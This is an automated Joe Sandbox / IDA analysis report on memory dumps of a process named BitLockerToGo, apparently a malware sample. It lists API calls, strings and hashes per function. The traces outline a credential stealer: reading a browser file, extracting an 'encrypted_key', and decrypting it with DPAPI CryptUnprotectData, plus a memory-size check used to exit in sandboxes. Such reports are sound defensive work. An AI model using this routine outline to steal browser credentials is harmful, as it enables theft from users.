Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 3c1ddab1e1e2fc495b8b75f483d3fbbb7b950b77f480818bd8b03cdfb0cb63c0
Instruction ID: 3171f417cebdf3cacdacc63076334654e4a812c6486e47a7bf01df1550f873e7
Opcode Fuzzy Hash: 3c1ddab1e1e2fc495b8b75f483d3fbbb7b950b77f480818bd8b03cdfb0cb63c0
Instruction Fuzzy Hash: DB210775A5122CABDB64DB54DC84FE9B3B8FB48704F00C5D8A609A6140DF716A85CFD4

Function 030047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 030047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004818
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 03004839
InternetCrackUrlA.WININET(00000000,00000000), ref: 03004849

Strings

<, xrefs: 030047C9

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 991ac4fe407fc565cf514fbb09cfa8b73e4316d71c501f7f69334fda43eb142c
Instruction ID: ddc0d8e7b692cc2fb342f6b433e073c622d7563e3de53fba02bf03a407a37dee
Opcode Fuzzy Hash: 991ac4fe407fc565cf514fbb09cfa8b73e4316d71c501f7f69334fda43eb142c
Instruction Fuzzy Hash: 3F2129B5D01209ABDF14EFA4E949BDD7B74FF44320F108225F925AB280EB706A15CF91

Function 03017690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 030176A4
RtlAllocateHeap.NTDLL(00000000), ref: 030176AB
RegOpenKeyExA.KERNEL32(80000002,035511F8,00000000,00020119,00000000), ref: 030176DD
RegQueryValueExA.KERNEL32(00000000,03555D30,00000000,00000000,?,000000FF), ref: 030176FE
RegCloseKey.ADVAPI32(00000000), ref: 03017708

Strings

Windows 11, xrefs: 030176BD

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 2cfe81a1bbcb633de7b3cba97630941a00741b67bf408183887777fba70dc298
Instruction ID: 8374164d645a88533f95a60ed2dc300c67e27e27cb3530c15864cf5c31c19afc
Opcode Fuzzy Hash: 2cfe81a1bbcb633de7b3cba97630941a00741b67bf408183887777fba70dc298
Instruction Fuzzy Hash: 6601FFB9A81308BBE710EBE4F94DFAEB7BCEB48B01F108454FA0597284E77499148B50

Function 03017720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 03017734
RtlAllocateHeap.NTDLL(00000000), ref: 0301773B
RegOpenKeyExA.KERNEL32(80000002,035511F8,00000000,00020119,030176B9), ref: 0301775B
RegQueryValueExA.KERNEL32(030176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0301777A
RegCloseKey.ADVAPI32(030176B9), ref: 03017784

Strings

CurrentBuildNumber, xrefs: 03017771

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 658aae03dfb541944ec6bb47c328ce1dffcd115f36223d5b86f2d80427a4e5ac
Instruction ID: d4fd76622e5d63bccb7c5e96d10d6359219f996125a92ccac99d5054f04d4292
Opcode Fuzzy Hash: 658aae03dfb541944ec6bb47c328ce1dffcd115f36223d5b86f2d80427a4e5ac
Instruction Fuzzy Hash: E90144B9A40308BBE710EBE0EC4DFAEB7BCEB48700F008154FA05A7285D77056008F51

Function 030140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 030140D5
RegOpenKeyExA.KERNEL32(80000001,035558F0,00000000,00020119,?), ref: 030140F4
RegQueryValueExA.ADVAPI32(?,03556078,00000000,00000000,00000000,000000FF), ref: 03014118
RegCloseKey.ADVAPI32(?), ref: 03014122
lstrcat.KERNEL32(?,00000000), ref: 03014147
lstrcat.KERNEL32(?,03556300), ref: 0301415B

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 1a36c9e26ab6806ff02dfd13366ecc2368e0ad1329aaea3f4dd1ad82060872ac
Instruction ID: e20c10be14b8b4cbc902534d9abd9f0c1c5aa379fc48c305431b718c63ece722
Opcode Fuzzy Hash: 1a36c9e26ab6806ff02dfd13366ecc2368e0ad1329aaea3f4dd1ad82060872ac
Instruction Fuzzy Hash: 4B41ABBED40208ABDB24FBE0FC49FED777DA788300F008558A6155B1C4EB755B988B91

Function 030099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 030099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 03009A11
LocalAlloc.KERNEL32(00000040,?), ref: 03009A31
ReadFile.KERNEL32(000000FF,?,00000000,030102E7,00000000), ref: 03009A5A
LocalFree.KERNEL32(030102E7), ref: 03009A90
CloseHandle.KERNEL32(000000FF), ref: 03009A9A

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: eca63befe5a32d8361cad76f250568647187bcb7ae678839deb0d0175804423e
Instruction ID: 123f0d7920c34e1bc91a263b1da94aeaf08fefec770ab15605a3d5b667d5b535
Opcode Fuzzy Hash: eca63befe5a32d8361cad76f250568647187bcb7ae678839deb0d0175804423e
Instruction Fuzzy Hash: 76312B78A01209EFEB14DF94D989BAEB7F5FF49350F108158E901AB2D0D774A941CFA0

Function 03014780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,03556270), ref: 030147DB

Part of subcall function 03018DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 03018E0B

lstrcat.KERNEL32(?,00000000), ref: 03014801
lstrcat.KERNEL32(?,?), ref: 03014820
lstrcat.KERNEL32(?,?), ref: 03014834
lstrcat.KERNEL32(?,035506C0), ref: 03014847
lstrcat.KERNEL32(?,?), ref: 0301485B
lstrcat.KERNEL32(?,035558B0), ref: 0301486F

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 03018D90: GetFileAttributesA.KERNEL32(00000000,?,03010117,?,00000000,?,00000000,03020DAB,03020DAA), ref: 03018D9F

Part of subcall function 03014570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 03014580
Part of subcall function 03014570: RtlAllocateHeap.NTDLL(00000000), ref: 03014587
Part of subcall function 03014570: wsprintfA.USER32 ref: 030145A6
Part of subcall function 03014570: FindFirstFileA.KERNEL32(?,?), ref: 030145BD

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 4d63c40b269bea59d19a8939fe774327d863688845617cc518b0dcf3ff3bcb98
Instruction ID: 40a14aac0ce5053bdb209b81607ae14d09eb23b9986c596799ec4effbe810b33
Opcode Fuzzy Hash: 4d63c40b269bea59d19a8939fe774327d863688845617cc518b0dcf3ff3bcb98
Instruction Fuzzy Hash: C23184BAD4130897DB14F7B0EC88EDD737CAB88704F448589F3159A084EB7497998B91

Function 03001220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0300123E
__aulldiv.LIBCMT ref: 03001258
__aulldiv.LIBCMT ref: 03001266
ExitProcess.KERNEL32 ref: 03001294

Strings

@, xrefs: 03001233

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: b3a73a8c2b7af1265022a38f42300e8ab44da388ab16a7bd56b124f1033f4da4
Instruction ID: baf26bd17701a061df941858a3a33e7986d39236a420958ff795dc4b8ff6697d
Opcode Fuzzy Hash: b3a73a8c2b7af1265022a38f42300e8ab44da388ab16a7bd56b124f1033f4da4
Instruction Fuzzy Hash: 810186B4D86308FBEB14DBD4DC49B9DB778AB44701F248044F705BB1C0D77495518759

Function 03009CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 030099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 030099EC
Part of subcall function 030099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 03009A11
Part of subcall function 030099C0: LocalAlloc.KERNEL32(00000040,?), ref: 03009A31
Part of subcall function 030099C0: ReadFile.KERNEL32(000000FF,?,00000000,030102E7,00000000), ref: 03009A5A
Part of subcall function 030099C0: LocalFree.KERNEL32(030102E7), ref: 03009A90
Part of subcall function 030099C0: CloseHandle.KERNEL32(000000FF), ref: 03009A9A

Part of subcall function 03018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 03018E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 03009D39

Part of subcall function 03009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,03004EEE,00000000,00000000), ref: 03009AEF
Part of subcall function 03009AC0: LocalAlloc.KERNEL32(00000040,?,?,?,03004EEE,00000000,?), ref: 03009B01
Part of subcall function 03009AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,03004EEE,00000000,00000000), ref: 03009B2A
Part of subcall function 03009AC0: LocalFree.KERNEL32(?,?,?,?,03004EEE,00000000,?), ref: 03009B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 03009D92

Part of subcall function 03009B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 03009B84
Part of subcall function 03009B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 03009BA3
Part of subcall function 03009B60: memcpy.MSVCRT(?,?,?), ref: 03009BC6
Part of subcall function 03009B60: LocalFree.KERNEL32(?), ref: 03009BD3

Strings

"encrypted_key":", xrefs: 03009D30
DPAPI, xrefs: 03009D89
, xrefs: 03009DC1

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 3291654ded47aa72deea8fa329f82f5c039596ca90b29e1522f57d04b593b041
Instruction ID: c4c9291783720ed7c8eb4272adc106026d38419fe38df0fc6675775a353d577d
Opcode Fuzzy Hash: 3291654ded47aa72deea8fa329f82f5c039596ca90b29e1522f57d04b593b041
Instruction Fuzzy Hash: 533174B5D01208ABDF04EFE4DC85EEFB7B9BF48304F144519E911AB281E7349A14CBA1

Function 6CC8C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CC8C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CC8C969
GetSystemInfo.KERNEL32(?), ref: 6CC8C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CC8C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CC8C9E2

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 7f9c571ce6dda71bfd17bfcd31478ce953cb762e36ae392acee07701271aaaf9
Instruction ID: 6190d2567f5c6f999a9f22efe5a0f44bb85ef3d2ed08ce8d98a790172b78f3f2
Opcode Fuzzy Hash: 7f9c571ce6dda71bfd17bfcd31478ce953cb762e36ae392acee07701271aaaf9
Instruction Fuzzy Hash: 4A21C5327426146BDB04AF65E888BAF76B9FF46709F50025AF917A7A40FB605C0487A1

Function 03017E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

